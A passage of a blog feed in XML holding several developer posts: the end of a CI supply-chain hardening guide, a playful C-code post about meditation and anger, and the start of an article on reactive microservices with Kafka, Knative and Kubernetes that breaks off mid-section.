&lt;/ul&gt;

&lt;p&gt;Deterministic inputs must produce deterministic outputs.&lt;/p&gt;

&lt;p&gt;Anything else is guesswork.&lt;/p&gt;




&lt;h2&gt;
  
  
  I — Isolated Runtime
&lt;/h2&gt;

&lt;p&gt;Where your CI runs matters.&lt;/p&gt;

&lt;p&gt;Public runners are convenient, but they are shared infrastructure.&lt;/p&gt;

&lt;p&gt;For higher-assurance systems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use self-hosted runners&lt;/li&gt;
&lt;li&gt;Make them ephemeral (destroy after each job)&lt;/li&gt;
&lt;li&gt;Restrict outbound network access&lt;/li&gt;
&lt;li&gt;Segregate runners by trust boundary&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Treat CI runners as production infrastructure.&lt;/p&gt;

&lt;p&gt;Because they are.&lt;/p&gt;




&lt;h2&gt;
  
  
  P — Policy Enforcement
&lt;/h2&gt;

&lt;p&gt;Here’s a hard truth:&lt;/p&gt;

&lt;p&gt;Guidelines are not controls.&lt;/p&gt;

&lt;p&gt;A control that does not automatically fail is not a control.&lt;/p&gt;

&lt;p&gt;If you say:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“All actions must be SHA pinned.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Then enforce it.&lt;/p&gt;

&lt;p&gt;Add a validation step that fails when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An action is not pinned&lt;/li&gt;
&lt;li&gt;Permissions are too broad&lt;/li&gt;
&lt;li&gt;An unapproved marketplace action is referenced&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Combine this with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Branch protection&lt;/li&gt;
&lt;li&gt;Required status checks&lt;/li&gt;
&lt;li&gt;Policy-as-Code (OPA, Conftest, etc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Security must be encoded into the pipeline itself.&lt;/p&gt;

&lt;p&gt;Otherwise, it will erode.&lt;/p&gt;




&lt;h2&gt;
  
  
  T — Traceability
&lt;/h2&gt;

&lt;p&gt;For every artifact deployed to production, you should be able to answer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What source commit built this?&lt;/li&gt;
&lt;li&gt;What dependencies were included?&lt;/li&gt;
&lt;li&gt;What toolchain was used?&lt;/li&gt;
&lt;li&gt;Has it been modified since creation?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you can’t answer those questions, incident response becomes speculation.&lt;/p&gt;

&lt;p&gt;To fix that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Generate an SBOM for every build&lt;/li&gt;
&lt;li&gt;Produce cryptographic provenance (SLSA-style attestations)&lt;/li&gt;
&lt;li&gt;Sign artifacts (Sigstore/Cosign)&lt;/li&gt;
&lt;li&gt;Keep immutable build logs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This turns builds from opaque processes into verifiable records.&lt;/p&gt;




&lt;h2&gt;
  
  
  E — Evidence
&lt;/h2&gt;

&lt;p&gt;Security that cannot be demonstrated does not exist.&lt;/p&gt;

&lt;p&gt;In regulated environments, you will be asked to show:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How you control third-party execution&lt;/li&gt;
&lt;li&gt;How you manage credentials&lt;/li&gt;
&lt;li&gt;How you ensure reproducibility&lt;/li&gt;
&lt;li&gt;How you maintain artifact lineage&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So keep:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Architecture diagrams&lt;/li&gt;
&lt;li&gt;Policy definitions&lt;/li&gt;
&lt;li&gt;SBOM archives&lt;/li&gt;
&lt;li&gt;Signature records&lt;/li&gt;
&lt;li&gt;Audit logs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Evidence is not paperwork.&lt;br&gt;
It’s proof of structural control.&lt;/p&gt;




&lt;h2&gt;
  
  
  D — Defensible Design
&lt;/h2&gt;

&lt;p&gt;This is the outcome.&lt;/p&gt;

&lt;p&gt;Not “we follow best practices.”&lt;/p&gt;

&lt;p&gt;Not “we trust our team.”&lt;/p&gt;

&lt;p&gt;Not “it should be fine.”&lt;/p&gt;

&lt;p&gt;But:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Controls are enforced technically&lt;/li&gt;
&lt;li&gt;Third-party execution is bounded&lt;/li&gt;
&lt;li&gt;Privileges are minimized&lt;/li&gt;
&lt;li&gt;Builds are deterministic&lt;/li&gt;
&lt;li&gt;Artifacts are verifiable&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You replace process-based assurances with structural guarantees.&lt;/p&gt;

&lt;p&gt;That’s defensibility.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phased Adoption (Don’t Boil the Ocean)
&lt;/h2&gt;

&lt;p&gt;You don’t need to do everything at once.&lt;/p&gt;

&lt;h2&gt;
  
  
  Phase 1 — Baseline Risk Reduction (Weeks 1–4)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Pin all actions to SHAs&lt;/li&gt;
&lt;li&gt;Reduce token permissions&lt;/li&gt;
&lt;li&gt;Enable branch protection&lt;/li&gt;
&lt;li&gt;Add basic workflow linting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Low effort. Immediate risk reduction.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 2 — Structural Governance (Months 1–3)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Mirror critical actions internally&lt;/li&gt;
&lt;li&gt;Introduce “Golden Workflows”&lt;/li&gt;
&lt;li&gt;Enforce Policy-as-Code validation&lt;/li&gt;
&lt;li&gt;Deploy ephemeral runners&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Medium effort. Major risk reduction.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 3 — Regulatory-Grade Assurance (Months 3–6)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Hermetic builds (no external network dependency)&lt;/li&gt;
&lt;li&gt;SBOM for every artifact&lt;/li&gt;
&lt;li&gt;Signed provenance attestations&lt;/li&gt;
&lt;li&gt;Hardware-backed signing for releases&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;High effort. Audit-ready posture.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Matters
&lt;/h2&gt;

&lt;p&gt;CI pipelines:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Execute external code&lt;/li&gt;
&lt;li&gt;Hold powerful secrets&lt;/li&gt;
&lt;li&gt;Produce signed artifacts&lt;/li&gt;
&lt;li&gt;Sit between source and production&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;They are part of your threat model.&lt;/p&gt;

&lt;p&gt;In modern systems, the integrity of your product is inseparable from the integrity of its build process.&lt;/p&gt;

&lt;p&gt;SCRIPTED CI isn’t about paranoia.&lt;/p&gt;

&lt;p&gt;It’s about recognizing that the build is no longer a convenience layer.&lt;/p&gt;

&lt;p&gt;It’s infrastructure.&lt;/p&gt;

&lt;p&gt;And infrastructure must be governed.&lt;/p&gt;




&lt;p&gt;If you’re operating in regulated environments, or just want to level up your supply chain security, I’d be curious:&lt;/p&gt;

&lt;p&gt;Which part of SCRIPTED would be hardest to implement in your organization?&lt;/p&gt;

</description>
      <category>devops</category>
      <category>cicd</category>
      <category>security</category>
      <category>productivity</category>
    </item>
    <item>
      <title>[Boost]</title>
      <dc:creator>Ali Alp</dc:creator>
      <pubDate>Mon, 12 Jan 2026 17:39:36 +0000</pubDate>
      <link>https://forem.com/alialp/-14b5</link>
      <guid>https://forem.com/alialp/-14b5</guid>
      <description>&lt;div class="ltag__link"&gt;
  &lt;a href="/alialp" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__pic"&gt;
      &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F75246%2F73159765-d92c-4500-bf44-2ccb5ddca661.jpg" alt="alialp"&gt;
    &lt;/div&gt;
  &lt;/a&gt;
  &lt;a href="https://dev.to/alialp/a-technical-documentation-to-ultimate-freedom-in-life-5cn7" class="ltag__link__link"&gt;
    &lt;div class="ltag__link__content"&gt;
      &lt;h2&gt;A technical documentation to ultimate freedom in life&lt;/h2&gt;
      &lt;h3&gt;Ali Alp ・ Jan 12&lt;/h3&gt;
      &lt;div class="ltag__link__taglist"&gt;
        &lt;span class="ltag__link__tag"&gt;#freedom&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/a&gt;
&lt;/div&gt;


</description>
      <category>freedom</category>
    </item>
    <item>
      <title>A technical documentation to ultimate freedom in life</title>
      <dc:creator>Ali Alp</dc:creator>
      <pubDate>Mon, 12 Jan 2026 17:38:05 +0000</pubDate>
      <link>https://forem.com/alialp/a-technical-documentation-to-ultimate-freedom-in-life-5cn7</link>
      <guid>https://forem.com/alialp/a-technical-documentation-to-ultimate-freedom-in-life-5cn7</guid>
      <description>&lt;h2&gt;
  
  
  This is a default human behavior in C
&lt;/h2&gt;

&lt;p&gt;

&lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/alicommit-malp" rel="noopener noreferrer"&gt;
        alicommit-malp
      &lt;/a&gt; / &lt;a href="https://github.com/alicommit-malp/freedom" rel="noopener noreferrer"&gt;
        freedom
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      A technical documentation  to freedom in life for software developers :)
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;freedom&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;A technical documentation  to freedom in life for software developers :)&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;This is a default human behavior in C&lt;/h2&gt;
&lt;/div&gt;
&lt;div class="highlight highlight-source-c notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-k"&gt;#include&lt;/span&gt; &lt;span class="pl-s"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span class="pl-k"&gt;#include&lt;/span&gt; &lt;span class="pl-s"&gt;&amp;lt;stdbool.h&amp;gt;&lt;/span&gt;
&lt;span class="pl-k"&gt;#include&lt;/span&gt; &lt;span class="pl-s"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;
&lt;span class="pl-k"&gt;#include&lt;/span&gt; &lt;span class="pl-s"&gt;&amp;lt;time.h&amp;gt;&lt;/span&gt;

&lt;span class="pl-smi"&gt;int&lt;/span&gt; &lt;span class="pl-en"&gt;main&lt;/span&gt;(&lt;span class="pl-smi"&gt;void&lt;/span&gt;)
{
    &lt;span class="pl-smi"&gt;bool&lt;/span&gt; &lt;span class="pl-s1"&gt;anger_event&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; false;
    
    &lt;span class="pl-en"&gt;srand&lt;/span&gt;(&lt;span class="pl-en"&gt;time&lt;/span&gt;(&lt;span class="pl-c1"&gt;NULL&lt;/span&gt;));
    &lt;span class="pl-s1"&gt;anger_event&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;rand&lt;/span&gt;() % &lt;span class="pl-c1"&gt;2&lt;/span&gt; &lt;span class="pl-c1"&gt;==&lt;/span&gt; &lt;span class="pl-c1"&gt;0&lt;/span&gt;;

    &lt;span class="pl-k"&gt;if&lt;/span&gt; (&lt;span class="pl-s1"&gt;anger_event&lt;/span&gt;) {
        &lt;span class="pl-en"&gt;printf&lt;/span&gt;(&lt;span class="pl-s"&gt;"Show anger.\n"&lt;/span&gt;);
    } &lt;span class="pl-k"&gt;else&lt;/span&gt; {
        &lt;span class="pl-en"&gt;printf&lt;/span&gt;(&lt;span class="pl-s"&gt;"All is calm.\n"&lt;/span&gt;);
    }

    &lt;span class="pl-k"&gt;return&lt;/span&gt; &lt;span class="pl-c1"&gt;0&lt;/span&gt;;
}&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;This is the upgraded human behavior after doing meditation&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;While practicing meditation, let thoughts enter but decide if you agree to process them, this will create the gap (freedom) over time.&lt;/p&gt;
&lt;div class="highlight highlight-source-c notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-k"&gt;#include&lt;/span&gt; &lt;span class="pl-s"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span class="pl-k"&gt;#include&lt;/span&gt; &lt;span class="pl-s"&gt;&amp;lt;stdbool.h&amp;gt;&lt;/span&gt;
&lt;span class="pl-k"&gt;#include&lt;/span&gt; &lt;span class="pl-s"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;
&lt;span class="pl-k"&gt;#include&lt;/span&gt; &lt;span class="pl-s"&gt;&amp;lt;time.h&amp;gt;&lt;/span&gt;
&lt;span class="pl-smi"&gt;int&lt;/span&gt; &lt;span class="pl-en"&gt;main&lt;/span&gt;(&lt;span class="pl-smi"&gt;void&lt;/span&gt;)
{
    &lt;span class="pl-smi"&gt;bool&lt;/span&gt; &lt;span class="pl-s1"&gt;anger_event&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; false;
    
    &lt;span class="pl-en"&gt;srand&lt;/span&gt;(&lt;span class="pl-en"&gt;time&lt;/span&gt;(&lt;span class="pl-c1"&gt;NULL&lt;/span&gt;));
    &lt;span class="pl-s1"&gt;anger_event&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-en"&gt;rand&lt;/span&gt;() % &lt;span class="pl-c1"&gt;2&lt;/span&gt; &lt;span class="pl-c1"&gt;==&lt;/span&gt; &lt;span class="pl-c1"&gt;0&lt;/span&gt;;

    &lt;span class="pl-smi"&gt;bool&lt;/span&gt; &lt;span class="pl-s1"&gt;conscious_choice&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; !&lt;span class="pl-s1"&gt;anger_event&lt;/span&gt;; &lt;span class="pl-c"&gt;// ← this&lt;/span&gt;&lt;/pre&gt;…
&lt;/div&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/alicommit-malp/freedom" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;br&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdbool.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;time.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;anger_event&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="n"&gt;srand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="n"&gt;anger_event&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;anger_event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Show anger.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"All is calm.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  This is the upgraded human behavior after doing meditation
&lt;/h2&gt;

&lt;p&gt;While practicing meditation, let thoughts enter but decide if you agree to process them, this will create the gap (freedom) over time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdbool.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;time.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;anger_event&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="n"&gt;srand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="n"&gt;anger_event&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="n"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;conscious_choice&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;anger_event&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// ← this is freedom&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;anger_event&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;conscious_choice&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Show anger.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"All is calm.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Diff
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy1jonaisovak0mfz2oa7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy1jonaisovak0mfz2oa7.png" alt="Freedom added to default human behavior"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Worth sharing ?
&lt;/h2&gt;

</description>
      <category>freedom</category>
    </item>
    <item>
      <title>When Events Meet Clusters: Building Reactive Micro-services on Kubernetes</title>
      <dc:creator>Ali Alp</dc:creator>
      <pubDate>Wed, 10 Dec 2025 21:29:32 +0000</pubDate>
      <link>https://forem.com/alialp/when-events-meet-clusters-building-reactive-micro-services-on-kubernetes-433e</link>
      <guid>https://forem.com/alialp/when-events-meet-clusters-building-reactive-micro-services-on-kubernetes-433e</guid>
      <description>&lt;p&gt;Modern users expect digital systems to feel alive. We touch, we swipe, we click—and we expect something to happen instantly. Yet many micro-services architectures still behave like a slow bureaucracy: they wait, they poll, they block, and under pressure they break. This article explores a simple but powerful idea:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Events can transform ordinary micro-services into reactive, self-organizing systems that scale and recover like living organisms.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This idea matters because most failures in distributed systems arise not from bad code, but from bad &lt;em&gt;coordination&lt;/em&gt;. Services depend on each other too tightly. Scaling decisions arrive too late. Recovery mechanisms rely on brittle manual steps. And when demand surges suddenly, teams find themselves firefighting instead of innovating.&lt;/p&gt;

&lt;p&gt;To understand how events solve this, we start with a question.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Why do micro-services still wait?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Think of a food-delivery app during a sudden rainstorm. Orders jump tenfold in a minute. Kitchens fill. Drivers vanish. The back-end is overwhelmed. Requests start queuing. API timeouts cascade. Users refresh endlessly. Engineers scramble.&lt;/p&gt;

&lt;p&gt;But the underlying problem is simple:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Traditional micro-services react to stress &lt;em&gt;after&lt;/em&gt; it hurts.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We rely on metrics like CPU, retries, and liveness probes—signals that come &lt;em&gt;after&lt;/em&gt; something has already gone wrong. In biological terms, it’s like touching something hot and waiting for your brain to calculate the temperature before deciding to pull your hand away.&lt;/p&gt;

&lt;p&gt;Systems that wait get burned.&lt;/p&gt;

&lt;p&gt;So what would a system look like if it reacted instantly—before bottlenecks or failures reached the user?&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Reactive micro-services: systems that respond, not poll&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;To explain reactive architecture, consider a train station:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Polling architecture:&lt;/strong&gt; You walk to the platform every 30 seconds and ask, &lt;em&gt;“Did the train arrive yet?”&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Event-driven architecture:&lt;/strong&gt; A loudspeaker announces, &lt;em&gt;“Train arriving on platform 4.”&lt;/em&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Reactive micro-services don’t keep checking. They listen. They respond. They scale when something actually happens. They recover by replaying what they missed.&lt;/p&gt;

&lt;p&gt;To build such behavior, we combine three technologies—each playing a different role in the metaphor of a living system.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Kafka: the nervous system’s signal carrier&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Kafka is the &lt;strong&gt;backbone of the event-driven organism&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It records every event in durable storage.&lt;/li&gt;
&lt;li&gt;It broadcasts signals to any service that needs them.&lt;/li&gt;
&lt;li&gt;It supports replay, allowing a service to rebuild state after failure.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If Kubernetes is the &lt;em&gt;body&lt;/em&gt;, Kafka is the &lt;strong&gt;spinal cord&lt;/strong&gt;, reliably delivering every neural signal down the line.&lt;/p&gt;

&lt;p&gt;When a service dies, Kafka simply replays the events. When a new service appears, it can reconstruct exactly what happened before it joined. This behavior is essential for systems that heal themselves.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Knative: the reflex engine&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;If Kafka is the nervous system, Knative provides the &lt;strong&gt;reflex arc&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Touch something hot → your hand pulls back before your brain consciously processes the danger.&lt;/p&gt;

&lt;p&gt;Knative Eventing works the same way:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It watches Kafka topics.&lt;/li&gt;
&lt;li&gt;When an event arrives, Knative instantly activates the exact workload needed.&lt;/li&gt;
&lt;li&gt;It scales consumers up under load and down to zero when idle.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This enables an infrastructure that responds &lt;em&gt;proportionally&lt;/em&gt; to real-world events.&lt;/p&gt;

&lt;p&gt;For example, a sudden spike in “OrderCreated” events results in instantaneous consumer scaling—not 60 seconds later, not after CPU hits 80%, but exactly when the load originates.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Kubernetes: the muscle and regeneration system&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Kubernetes is the body’s musculature:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It runs containers reliably.&lt;/li&gt;
&lt;li&gt;It heals failed pods.&lt;/li&gt;
&lt;li&gt;It provides auto-scaling and stable infrastructure.&lt;/li&gt;
&lt;li&gt;It maintains the cluster’s general health.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Kubernetes alone is not reactive—it lacks event understanding. But when paired with Kafka and Knative, it becomes the execution layer for a reactive organism.&lt;/p&gt;

&lt;p&gt;Together, they form this dynamic:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kafka senses.&lt;br&gt;
Knative reacts.&lt;br&gt;
Kubernetes adapts and stabilizes.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Patterns for building reactive micro-services&lt;/strong&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;1. Event Choreography&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Imagine a parcel moving through a logistics system:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Order placed&lt;/li&gt;
&lt;li&gt;Payment confirmed&lt;/li&gt;
&lt;li&gt;Package packed&lt;/li&gt;
&lt;li&gt;Out for delivery&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each step reacts to the previous event. No central controller. No chain of API calls. Just &lt;strong&gt;events that trigger reactions&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;2. Event Sourcing&lt;/strong&gt;
&lt;/h3&gt;

